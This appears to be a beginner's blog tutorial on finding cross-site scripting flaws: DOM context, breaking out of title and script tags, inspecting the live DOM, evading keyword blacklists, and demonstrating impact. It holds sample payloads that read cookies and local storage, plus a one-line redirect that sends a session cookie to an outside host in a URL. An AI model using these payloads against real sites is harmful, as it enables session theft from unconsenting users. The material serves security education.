XSS vulnerabilities are a common “first bug” for people getting into cybersecurity. It is also a mainstay vulnerability that professionals will continue to report well into their careers.
Finding XSS
One of the differences an experienced pentester has when looking for XSS is an understanding of DOM context. Different HTML tags do different things depending on where they are being rendered.
So when you are copying & pasting XSS payloads all around a site take a moment to see where and how they are rendered in the DOM so that you can find a valid XSS to report.
First example: HTML will be ignored inside Title tags.
For this to work you need to first close the title tag </title>
Second example: Similarly HTML tags have no power inside of <script> tags, except for </script>
Below are two examples of an image tag being rendered inside of a <script> tag. Neither will work, it doesn’t matter if it is rendered into a string context.
One will have to break the script context via </script> to get the image tag to render its XSS attack.
One of the most common ways that people look to see how their XSS payloads are being rendered is to right-click->View Page Source and look at the HTML. This is almost the correct answer.
The ideal way to check is to right-click ->Inspect the page. Why?
Any JavaScript rendering of payloads will appear in the active DOM that is being used by the browser and observable under the Inspect page elements. Viewing page source alone will not give you the full picture of how your payloads are being displayed by the application.
Why is that? The view source shows you the response body from the server, the HTML, JavaScript, CSS, etc that all are returned with a page load. If there is client-side processing of your payloads that builds DOM objects on the page, it can only be observed via Inspector. The XSS that are possible by JavaScript construction are known as DOM XSS.
Bypassing Parser Limitations
Every site that allows input will parse the input, whether it is purposeful or not.
First example: Keywords are not allowed.
It is common for particular keywords to be stripped or blocked from input. Ignorant administrators will block the string “alert(“ to ensure all XSS are defeated.
It is still normal to see such approaches to input validation, and there is no easy way to bypass the large blacklist of strings in use outside of knowing JavaScript and HTML in an intimate way and being able to craft your input to bypass the blacklist and land on its target.
To learn these intimacies I would suggest reviewing this repo:
PayloadsAllTheThings/XSS Injection at master · swisskyrepo/PayloadsAllTheThings
A list of useful payloads and bypass for Web Application Security and Pentest/CTF – PayloadsAllTheThings/XSS Injection…github.com
Purchasing (and actually reading) this book:
JavaScript for hackers
Learn how to find interesting behaviour and flaws in JavaScript. Reading this book you will find the latest and…leanpub.com
Learn this tool:
Cross-Site Scripting (XSS) Cheat Sheet – 2023 Edition | Web Security Academy
Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and…portswigger.net
Second example: Full HTML tags are rarely needed as browsers aggressively try to render HTML.
If you see payloads being processed in a manner that removes all tests inside HTML tags, attempt to only use the opening tag.
Showing Impact
Congratulations on getting your alert box to appear.
The go-to impact for XSS is stealing session tokens. This can be demonstrated by either showing access to the session tokens or actually demonstrating them being stolen.
To demonstrate, you’ll need to find where they are stored…
Possibly in a cookie, or maybe in the browser’s Local Storage
alert(document.cookie) or alert(JSON.stringify(localStorage)) are some simple demonstrations of access to the session token.
*Note if a cookie has the “HTTP Only” flag enabled you will not be able to get access to the cookie via JavaScript, but will need to find the token in another matter.
To demonstrate the exfiltration of this data, we can use a simple redirect.window.location.href='https://google.com?cookie='+document.cookie
So when the XSS renders it will redirect to google.com and you will see the session token being attached to the URL.
Do Follow Techiepedia for more interesting blogs!